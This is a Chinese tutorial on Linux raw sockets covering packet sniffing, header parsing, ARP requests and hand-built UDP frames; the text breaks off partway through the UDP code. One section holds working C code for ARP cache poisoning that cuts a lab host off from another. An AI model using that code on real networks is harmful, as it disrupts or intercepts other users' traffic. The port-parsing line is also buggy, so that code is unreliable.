一.概述

1.介绍

使用原始套接字需要管理员权限

**原始套接字(SOCK_RAW):**是一种不同于SOCK_STREAMSOCK_DGRAM的套接字,它实现于系统核心,可以接收本机网卡上的所有的数据帧(数据包),对于监听网络流量和分析网络数据很有用,开发人员可发送自己组装的数据包到网络上,广泛应用于高级网络编程

2.数据的收发

**流式套接字只能收发:**TCP 协议的数据

**数据报套接字只能收发:**UDP 协议的数据

原始套接字可以收发:

  • 内核没有处理的数据包,因此要访问其他协议

  • 发送的数据需要使用,原始套接字(SOCK_RAW)

二.相关函数

1.创建原始套接字

函数定义:

#include 
#include 
int socket(int domain, int type, int protocol);

**功能:**创建链路层原始套接字

参数:

  • **domain:**PF_PACKET

  • **type:**SOCK_RAW

  • **protocol:**指定可以接收或发送的数据包类型

    该参数需要使用htons将下面参数转成网络大端后填写

    • ETH_P_IP:IPV4 数据包

    • ETH_P_ARP:ARP 数据包

    • ETH_P_ALL:任何协议类型的数据包

返回值:

  • 成功:返回链路层套接字
  • 失败:返回-1

示例:

sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));

2.原始套接字接收数据

**简述:**原始套接字的数据接收使用recvfrom函数完成,不过因为是在链路层接收数据,少了网络传输层对数据的解包,所以即使设置了SockerAddr结构体也会没有数据,这里直接置NULL即可

函数定义:

#include 
#include 

ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
                 struct sockaddr *src_addr, socklen_t *addrlen);

参数:

  • **sockfd:**原始套接字

  • **buf:**存储读取帧数据的unsigned char数组

    这个数组的长度一般设置为1500,因为一帧数据通常即为1500

  • **flags:**设置为0即可

  • **src_addr和addrlen:**置NULL即可

**返回值:**接收到数据的长度


示例:

unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);

3.原始套接字发送数据

(1)介绍

简述:原始套接字的数据发送是通过sendto发生完整的帧数据的,不过和接收数据一样,原始套接字的数据发送是处于链路层的,其发送面向的SockAddr结构体记录的是本地主机出去的网卡地址

(2)函数介绍

① sendto-数据发送
Ⅰ.函数定义
#include 
#include 

ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
               const struct sockaddr *dest_addr, socklen_t addrlen);

参数:

  • sockfd:原始套接字

  • buf:完整的帧数据

    需要手动的组帧

  • len:帧的实际长度

  • flags:写0即可

  • dest_addr:本地主机帧数据出去的网卡地址

    sockaddr_ll结构体转成的通用套接字结构体,具体见下

  • addrlen:通用套接字结构体的长度

返回值:

  • 成功:返回实际发送的字节数
  • 失败:返回-1,并设置全局错误变量errno
Ⅱ.SockAddr_ll结构体

就本次使用原始套接字发送数据而言,只需要对sll_ifindex进行赋值即可

头文件:

结构体定义:

struct sockaddr_ll {
    unsigned short sll_family;   /* 地址族,一般为PF_PACKET */
    unsigned short sll_protocol; /* 上层的协议类型 */
    int            sll_ifindex;  /* 接口类型 */
    unsigned short sll_hatype;   /* 报头类型 */
    unsigned char  sll_pkttype;  /* 包类型 */
    unsigned char  sll_halen;    /* 地址长度 */
    unsigned char  sll_addr[8];  /* MAC地址 */
};
② Ioctl-本地机接口数据获取
Ⅰ.函数定义:
#include 

int ioctl(int fd, unsigned long request, ...);

参数:

  • fd:设备文件描述符

  • request:控制命令编号

  • 可选参数

    • 目前这里只要填写接收获取到接口的struct ifreq结构体即可
Ⅱ.Ifreq结构体

**使用:**这个结构体的作用,简单说更像是封装本地机接口类型作为Ioctl函数的参数以获取本地接口数据以供给sockaddr_ll结构体赋值之用

头文件:#include

结构体定义:

struct ifreq
  {
# define IFHWADDRLEN    6
# define IFNAMSIZ       IF_NAMESIZE
    union
      {
        char ifrn_name[IFNAMSIZ];       /* Interface name, e.g. "en0".  */
      } ifr_ifrn;

    union
      {
        struct sockaddr ifru_addr;
        struct sockaddr ifru_dstaddr;
        struct sockaddr ifru_broadaddr;
        struct sockaddr ifru_netmask;
        struct sockaddr ifru_hwaddr;
        short int ifru_flags;
        int ifru_ivalue;
        int ifru_mtu;
        struct ifmap ifru_map;
        char ifru_slave[IFNAMSIZ];      /* Just fits the size */
        char ifru_newname[IFNAMSIZ];
        __caddr_t ifru_data;
      } ifr_ifru;
  };

(3)函数封装

使用的时候可以直接调用这个发送帧数据

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

三.报文分析(接收)

[!TIP] 参考: 参考计算机基础-网络基础中各个报文的详细结构 分析顺序: 基于原始套接字从链路层开始一层层向上分析报文数据

1.接收帧数据

步骤:

  • 定义1500长度的char数组,用以接收帧数据
  • 使用recvfrom()函数接收帧数据(无需定义SocketAddr结构体接收,这里是位于链路层,不会有数据)

实现:

unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);

2.MAC报文解析

(1)解析目的、源mac地址

步骤:

  • 定义两个18长度的数组接收目的macdst_mac和源macsrc_mac

    长度18的来源就是mac地址的位数 --> 10-F6-0A-5B-DE-1C 共18位

  • 使用%02x作为占位符从帧数据中解析mac数据,每次移动1位(基于mac报文的设计)

image.png

实现: buf是接受到的帧数据

/*解析mac报文*/
char dst_mac[18] = "";//10-F6-0A-5B-DE-1C,共18位
char src_mac[18] = "";
printf("%s\n", buf);
//解析目的mac地址
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
        buf[5]);
//解析源mac地址,向后移动6位让其到达源mac位置
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
        buf[3 + 6], buf[4 + 6], buf[5 + 6]);

(2)解析mac报文类型

步骤:

  • 记录帧数据的数组向前移动12位即可得到报文类型了(报文设计)

  • 不过在使用前需要使用ntohs()函数将其从网络大端转为主机的小端

实现:

//获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
if (mac_type == 0x0800) {
    printf("上层为IP报文\n");
} else if (mac_type == 0x0806) {
    printf("上层为arp报文\n");
} else if (mac_type == 0x8035) {
    printf("上层为RARP报文\n");
}

3.解析IP报文

建立在上面mac解析的mac_type类型是IP报文的基础上的

前期操作: 先在帧数据的基础上+14移动到IP报文区域,方便后继操作

unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组,具体见前面

(1)解析协议类型

步骤:

  • 取IP报文区域的第9个字节的数据即可得到协议的类型代号(是一个长度为1的unsigned char字符串)
Snipaste_2024-05-10_22-55-22.png
  • 后继根据报文设计对类型代码进行判断确定具体的协议类型即可

实现:

unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组,具体见前面

/*解析协议类型*/
unsigned char ip_type = Ip[9];
if (ip_type == 1) {
    printf("IP报文协议类型为ICMP\n");
}
if (ip_type == 2) {
    printf("IP报文协议类型为IGMP\n");
}
if (ip_type == 6) {
    printf("IP报文协议类型为TCP\n");
}
if (ip_type == 17) {
    printf("IP报文协议类型为UDP\n");
}

(2)解析源IP和目的IP

步骤:

  • 定义两个长度为16的字符串接收源IP和目的IP

    IPv4地址的最大长度(包括点分隔符)是15个字符,包括\0后即16

  • 移动指针到帧数据的源IP位置,并使用inet_ntop将大端转为小端即可获得源IP,目的IP同理

实现:


unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组,具体见前面
/*解析IP源、目的地址*/
char src_ip[16] = "";
char dst_ip[16] = "";//192.168.141.254\0,共16位
//解析源IP
inet_ntop(AF_INET, Ip + 12, src_ip, 16);
//解析目的IP
inet_ntop(AF_INET, Ip + 16, dst_ip, 16);
        
printf("源IP:%s;目的IP:%s", src_ip, dst_ip);

4.TCP和UDP报文分析

UDP同理,根据其报文结构调整下面的程序即可,不另外说明

(1)IP报文头部长度获取

原因: 因为IP报文设计中存在一个选项(32位),其可有可无,致使我们无法直接确定IP报文头部的长度,也就无法确定数据(TCP和UDP报文所在)位在帧数据中的起始值 获取方法: 通过IP报文中的首部长度(4位),获取报文的长度,不过其只占用了ip[0]中的低4位,剩下的高4位需要与上16进制的0x0f去掉,最后需要*4,因为头部长度是以32位字(4字节)为单位给出的,所以必须乘4才能得到实际的报文头部长度 image.png

实现: int ip_head_len = (ip[0] & 0x0f) * 4;

(2)解析TCP报文端口

步骤:

  • 在Ip报文头部的基础上向后移动Ip报文的头部长度即可得到TCP报文的起始位置
  • 每个端口占2个字节长度,移动两次并大端转小端即可得到端口信息了
**实现:**
//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;

//解析源端口和目的端口
unsigned short src_port = ntohs(*(unsigned short *) Tcp);
unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

(3)获取TCP报文数据

**注意事项:**TCP头部长度字段表示TCP头部的长度,但它的单位是32位字(4字节)。这意味着,TCP头部长度字段的值乘以4才能得到TCP头部的实际长度,以字节为单位。如果你不乘以4,得到的值将不会是TCP头部的实际长度,而只是TCP头部长度字段的原始值 步骤:

  • 先从TCP报文的**头部长度(4位)**中获取TCP报文的头部长度

    ① 取TCP报文首地址起始第12位字节的高4位,即向低4位清0

    ② 再位移4个字节,获取的高4位位移到最低端,因为TCP头部是以32位为单位的所以需要将这4位位移到最低端才好处理

    ③ 将高4位清0,保证正确性

    ④ 因为头部长度的范围是4,乘4才能得到真实的长度 int tcp_head_len = (((tcp[12]&0xf0)>>4)&0x0f)*4;

  • 最后在TCP报文的起始位置加上TCP报文头部长度的位置开始的内容就是报文数据

实现:

//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;

//计算TCP报文的长度
int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;

//打印获取到的数据
printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);

5.完整代码

代码:

#include 
#include 
#include 
#include 
#include 

int main(int argc, char const *argv[]) {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
        return 0;
    }
    printf("create sock_raw:%d\n", sockFd);
    while (1) {
        /*接收完整的帧数据*/
        unsigned char buf[1500] = "";
        recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);//此处是在链路层接收数据,无需设置socketAddr结构体接收数据,无意义

        /*解析mac报文*/
        char dst_mac[18] = "";//10-F6-0A-5B-DE-1C,共18位
        char src_mac[18] = "";
        printf("%s\n", buf);
        //解析目的mac地址
        sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
                buf[5]);
        //解析源mac地址,向后移动6位让其到达源mac位置
        sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
                buf[3 + 6], buf[4 + 6], buf[5 + 6]);

        printf("目的mac:%s,源mac:%s\n", dst_mac, src_mac);

        //获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
        unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
        if (mac_type == 0x0800) {
            /*解析IP报文*/
            printf("上层为IP报文\n");
            //移动帧的位置到IP报文的区域,并使用ip记录其起始值
            unsigned char *Ip = buf + 14;

            //解析协议类型*
            unsigned char ip_type = Ip[9];
            if (ip_type == 1) {
                printf("IP报文协议类型为ICMP\n");
            }
            if (ip_type == 2) {
                printf("IP报文协议类型为IGMP\n");
            }
            if (ip_type == 6) {
                printf("IP报文协议类型为TCP\n");

                /*解析TCP报文*/
                //获取IP报文的长度
                int ip_head_len = (Ip[0] & 0x0f) * 4;
                //移动Ip报文位置到TCP报文位置
                unsigned char *Tcp = Ip + ip_head_len;

                //解析源端口和目的端口
                unsigned short src_port = ntohs(*(unsigned short *) Tcp);
                unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
                printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

                //计算TCP报文的长度
                int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;

                //打印获取到的数据
                printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);

            }
            if (ip_type == 17) {
                printf("IP报文协议类型为UDP\n");

                /*解析UDP报文*/
                //获取IP报文的长度
                int ip_head_len = (Ip[0] & 0x0f) * 4;
                //移动Ip报文位置到UDP报文位置
                unsigned char *Udp = Ip + ip_head_len;

                //解析源端口和目的端口
                unsigned short src_port = ntohs(*(unsigned short *) Udp);
                unsigned short dst_port = ntohs(*(unsigned short *) Udp + 2);
                printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

                //打印获取到的数据
                printf("UDP报文的数据为:%s\n", Udp + 8);
            }

            //解析IP源、目的地址
            char src_ip[16] = "";
            char dst_ip[16] = "";//192.168.141.254\0,共16位
            //解析源IP
            inet_ntop(AF_INET, Ip + 12, src_ip, 16);
            //解析目的IP
            inet_ntop(AF_INET, Ip + 16, dst_ip, 16);

            printf("源IP:%s;目的IP:%s\n", src_ip, dst_ip);

        } else if (mac_type == 0x0806) {
            printf("上层为arp报文\n");
        } else if (mac_type == 0x8035) {
            printf("上层为RARP报文\n");
        }

    }

    close(sockFd);

**效果:**获取到的数据出现乱码是正常的,因为这里是临时当它是字符串打印的,实际是什么谁也拿不准

目的mac:00:50:56:c0:00:08,源mac:00:0c:29:c1:d3:13
上层为IP报文
源IP:192.168.141.128;目的IP:192.168.141.1
IP报文协议类型为TCP
源端口:22;目的端口:534
TCP报文的数据为:aQ�&y9�I���B����,u�

四.报文组包(发送)

1.获取某个PC的Mac地址

(1)ARP报文

① 结构
② 组包(请求包)

这里是手动组包,实际不太这么整,具体看下面ARP欺骗那种结构体组包

目的mac地址:ff:ff:ff:ff:ff:ff

  • 请求的ARP包,这里填ff:ff:ff:ff:ff:ff,会将该请求发送给局域网的所有设备

源mac地址:00:0c:29:c1:d3:13

  • 这是本机的mac地址,通过ifconfig获取

帧类型:0x0806

  • 自然是ARP类型啦

硬件类型:0001

  • 即十进制的1,表示以太网地址

协议类型:0x0800

  • 即IP

**硬件地址长度:**6

  • 固定的,且直接以十进制形式填写

**协议地址长度:**4

  • 固定的,且直接以十进制形式填写

**OP:**这里填ARP请求,即1,填2进制数->0001

**源mac地址:**本机的mac地址

**源IP:**本机的IP地址

**目的Mac地址:**对于请求的ARP包,这里直接填00:00:00:00:00:00即可

**目的IP:**目的主机的IP地址

unsigned char ArpPack[512] = {
    //------------------mac头------------------
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址,请求即未知,使用ff:ff:ff:ff:ff:ff*/
        0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
        0x08, 0x06,/*帧类型*/
        //------------------arp头------------------
        0x00, 0x01,/*硬件类型*/
        0x08, 0x00,/*协议类型*/
        6,/*硬件地址长度*/
        4,/*协议地址长度*/
        0x00, 0x01,/*arp请求报文*/
        0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
        192, 168, 141, 128,/*源IP*/
        0, 0, 0, 0, 0, 0,/*目的mac地址*/
        192, 168, 141, 1/*目的IP*/

};

(2)完整代码

**代码:**这个代码是虚拟机(192.168.141.128)请求宿主机(192.168.141.1)mac地址的代码

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

int main() {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

    /*发出ARP请求*/

    //组ARP包
    unsigned char ArpPack[512] = {
            //------------------mac头------------------
            0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址,请求即未知,使用ff:ff:ff:ff:ff:ff*/
            0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
            0x08, 0x06,/*帧类型*/
            //------------------arp头------------------
            0x00, 0x01,/*硬件类型*/
            0x08, 0x00,/*协议类型*/
            6,/*硬件地址长度*/
            4,/*协议地址长度*/
            0x00, 0x01,/*arp请求报文*/
            0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
            192, 168, 141, 128,/*源IP*/
            0, 0, 0, 0, 0, 0,/*目的mac地址*/
            192, 168, 141, 1/*目的IP*/
    };

    //发出ARP帧
    int len = SendTo(sockFd, ArpPack, 42, "ens33");
    printf("发出长度为:%d的数据\n", len);

    /*接收ARP请求*/
    while (1) {
        unsigned char buf[1500] = "";
        recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
        //解析数据报的类型
        unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
        if (mac_type == 0x0806) {
            printf("上层为arp报文\n");
            //获取OP请求,判断是不是ARP应答
            unsigned short op = ntohs(*(unsigned short *) (buf + 20));
            if (op == 2) {
                //为应答,则提取回应的mac地址
                char src_mac[18] = "";
                sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
                        buf[3 + 6], buf[4 + 6], buf[5 + 6]);
                //提取回应的IP地址
                char src_ip[16] = "";
                inet_ntop(AF_INET, buf + 28, src_ip, 16);
                printf("ARP应答IP:%s;对应Mac地址:%s\n", src_ip, src_mac);
                break;
            }
        }
    }

    close(sockFd);
    return 0;
}

结果:

honestliu@honestliu-virtual-machine:~/Develop/UnixNet/SockRow原始套接字$ sudo ./a.out 
create sock_raw:3
发出长度为:42的数据
上层为arp报文
ARP应答IP:192.168.141.1;对应Mac地址:00:50:56:c0:00:08

五.ARP欺骗分析(ARP组包发送)

1.结构体组包

(1)以太网头部(mac报文)

① ether_header(首选)

头文件:#include

**结构体:**struct ether_header

struct ether_header
{
  uint8_t  ether_dhost[ETH_ALEN];       /* 目的MAC地址 */
  uint8_t  ether_shost[ETH_ALEN];       /* 源MAC地址 */
  uint16_t ether_type;                  /* 帧类型 */
} 
② struct ethhdr

头文件:#include

**结构体:**struct ethhdr

struct ethhdr {
        unsigned char   h_dest[ETH_ALEN];       /* 目的MAC地址 */
        unsigned char   h_source[ETH_ALEN];     /* 源MAC地址 */
        __be16          h_proto;                /* 帧类型 */
} 

(2)ARP头部

这个结构体建议直接去/usr/include/net/f_arp.h拷贝到本地代码重新定义下,因为需要用到注释的内容

  • 不建议直接修改系统头文件,容易出问题

头文件:#include

**结构体:**struct arphdr

struct arphdr {  
    unsigned short int ar_hrd;          /* 硬件类型 (Hardware type)  
                                           指定了网络类型,例如以太网(ETH_P_ARP) */  
    unsigned short int ar_pro;          /* 协议地址格式 (Protocol address format)  
                                           指定了网络层协议类型,例如 IPv4(ETH_P_IP) */  
    unsigned char ar_hln;               /* 硬件地址长度 (Hardware address length)  
                                           硬件地址(例如 MAC 地址)的长度,通常是 6 个字节 */  
    unsigned char ar_pln;               /* 协议地址长度 (Protocol address length)  
                                           网络层地址(例如 IPv4 地址)的长度,IPv4 中是 4 个字节 */  
    unsigned short int ar_op;           /* ARP 操作码 (ARP opcode) */  
  

#if 0  
    /* 发送者硬件地址 (Sender hardware address)  */  
    unsigned char __ar_sha[ETH_ALEN];     
  
    /* 发送者 IP 地址 (Sender IP address) */  
    unsigned char __ar_sip[4];            
  
    /* 目标硬件地址 (Target hardware address)  */  
    unsigned char __ar_tha[ETH_ALEN];     
  
    /* 目标 IP 地址 (Target IP address) */  
    unsigned char __ar_tip[4];            
#endif  
};

2.APR欺骗实例

其实只实现了欺骗目标主机使其失去对本主机的访问能力,只需欺骗目标主机对特定主机的访问能力,这个以后再探究

代码:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include  //以太网头部

/*代码说明:
 * 192.168.141.1:是要欺骗的主机IP
 * 192.168.141.128:是欺骗的IP
 * 功能:
 * 循环20次,每隔1S发送一个arp应答,让要欺骗主机对应欺骗IP的mac地址修改成"ee:ee:ee:ee:ee:ee"
 * 使其无法访问该IP对应的主机
 * */

//ARP头结构体,根据系统头文件修改而来
typedef struct ah {
    unsigned short int ar_hrd;          /* 硬件类型 (Hardware type)  */
    unsigned short int ar_pro;          /* 协议地址格式 (Protocol address format) */
    unsigned char ar_hln;               /* 硬件地址长度 (Hardware address length)*/
    unsigned char ar_pln;               /* 协议地址长度 (Protocol address length)*/
    unsigned short int ar_op;           /* ARP 操作码 (ARP opcode) */

    unsigned char __ar_sha[ETH_ALEN];/* 发送者硬件地址 (Sender hardware address)  */
    unsigned char __ar_sip[4];/* 发送者 IP 地址 (Sender IP address) */
    unsigned char __ar_tha[ETH_ALEN];/* 目标硬件地址 (Target hardware address)  */
    unsigned char __ar_tip[4];/* 目标 IP 地址 (Target IP address) */
} ArpHd;

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

int main() {
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

    //存储帧的空间
    unsigned char buf[1500] = "";

    /*定义以太网头部*/
    unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac,欺骗目的地主机
    unsigned char src_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};//源mac.这是用以修改目的主机的mac
    struct ether_header *ethHd = (struct ether_header *) buf;
    memcpy(ethHd->ether_dhost, des_mac, 6);//设置目的mac
    memcpy(ethHd->ether_shost, src_mac, 6);//设置源mac
    ethHd->ether_type = htons(0x0806);//设置帧类型

    /*定义ARP头部.注意要移动指针到定义ARP头部的位置*/
    unsigned char src_ip[] = {192, 168, 141, 128};
    unsigned char des_ip[] = {192, 168, 141, 1};
    ArpHd *arpHd = (ArpHd *) (buf + 14);

    arpHd->ar_hrd = htons(1);
    arpHd->ar_pro = htons(0x0800);
    arpHd->ar_hln = 6;
    arpHd->ar_pln = 4;
    arpHd->ar_op = htons(2);
    memcpy(arpHd->__ar_sha, src_mac, 6);//发过去的是用以欺骗的mac地址
    memcpy(arpHd->__ar_sip, src_ip, 4);
    memcpy(arpHd->__ar_tha, des_mac, 6);
    memcpy(arpHd->__ar_tip, des_ip, 4);

    /*循环发送欺骗arp*/
    for (int i = 0; i < 20; ++i) {
        SendTo(sockFd,buf,14+28,"ens33");
        sleep(1);
    }

    //释放原始套接字
    close(sockFd);
    return 0;
}

效果:

六.原始套接字发送UDP报文

1.IP和UDP报文结构体

(1)IP报文

关于校验和,定义时先置零,后继再计算赋值

① 概述

头文件:#include

结构体:

struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN		//小端
    unsigned int ihl:4;//首部长度
    unsigned int version:4;//版本
#elif __BYTE_ORDER == __BIG_ENDIAN		//大端
    unsigned int version:4;//版本
    unsigned int ihl:4;//首部长度
#else
# error "Please fix "
#endif
    uint8_t tos;//服务类型
    uint16_t tot_len;//总长度
    uint16_t id;//标识
    uint16_t frag_off;//标志、片偏移
    uint8_t ttl;//生存时间
    uint8_t protocol;//协议
    uint16_t check;//首部校验和,定义时先置零,后继再计算赋值
    uint32_t saddr;//源地址IP
    uint32_t daddr;//目的地址IP
    /*The options start here. */
  };
② 首部校验和计算函数

暂时不理解

unsigned short checksum(unsigned short *buf, int len)  
{  
    int nword = len / 2;  
    unsigned long sum;  
  
    if (len % 2 == 1)  
        nword++;  
    for (sum = 0; nword > 0; nword--)  
    {  
        sum += *buf;  
        buf++;  
    }  
    sum = (sum >> 16) + (sum & 0xffff);  
    sum += (sum >> 16);  
    return ~sum;  
}

(2)UDP报文结构体

UDP校验需要伪头部

UDP的数据必须是偶数,不是偶数要对其进行填充

头文件:#include

**结构体:**先阶段实际使用时只需要关注后面我写了中文注释的地方即可

struct udphdr
{
  __extension__ union
  {
    struct
    {
      uint16_t uh_sport;        /* source port */
      uint16_t uh_dport;        /* destination port */
      uint16_t uh_ulen;         /* udp length */
      uint16_t uh_sum;          /* udp checksum */
    };
    struct
    {
      uint16_t source;//源端口号
      uint16_t dest;//目的端口号
      uint16_t len;//长度
      uint16_t check;//校验和
    };
  };
};

(3)实现

① 代码说明

**源主机:**192.168.141.128

**源mac:**00:0c:29:c1:d3:13

**目的主机:**192.168.141.1

**目的mac:**00-50-56-C0-00-08

② 功能

**关键(我不会的):**IP报文和UDP报文的校验和计算

**功能:**由原主机通过标准输入读取用户输入,然后组包通过UDP协议发送数据

③ 实现
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include  //以太网mac报文
#include //IP报文
#include //udp报文

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));//清0
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

/*校验IP首部的函数*/
unsigned short checksum(unsigned short *buf, int len) {
    int nWord = len / 2;
    unsigned long sum;

    if (len % 2 == 1)
        nWord++;
    for (sum = 0; nWord > 0; nWord--) {
        sum += *buf;
        buf++;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

/*UDP伪首部结构体*/
struct pseudoHeader {
    u_int32_t sAddr;//源IP地址
    u_int32_t dAddr;//目的IP地址
    u_int8_t flag;//我不知道,😂(记得查)
    u_int8_t pro;//8位协议
    u_int16_t len;//16位UDP长度
};


int main() {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

    /*读取要发送的数据*/
    char data[128] = "";;
    printf("请输入要发送的数据\n");
    scanf("%s", data);
    //udp输入的数据必须是偶数
    int data_len = strlen(data) + strlen(data) % 2;

    /*组包*/
    unsigned char buf[1500] = "";
    //以太网mac报文
    unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac地址
    unsigned char src_mac[] = {0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13};//源mac地址
    struct ether_header *etherHeader = (struct ether_header *) buf;//申请报文空间
    //构建以太网mac头部
    memcpy(etherHeader->ether_dhost, des_mac, 6);
    memcpy(etherHeader->ether_shost, src_mac, 6);
    etherHeader->ether_type = htons(0x0800);//协议为IP

    /*IP报文*/
    struct iphdr *ipHd = (struct iphdr *) (buf + 14);//14是以太网头部所占用的大小

    //封装报文数据
    ipHd->version = 4;//IPV4协议
    ipHd->ihl = 5;//首部长度
    ipHd->tos = 0;//服务类型
    ipHd->tot_len = htons(20 + 8 + data_len);//IP首部 + (UDP首部 + 数据长度)
    ipHd->id = htons(0);//标识
    ipHd->frag_off = htons(0);//偏移片
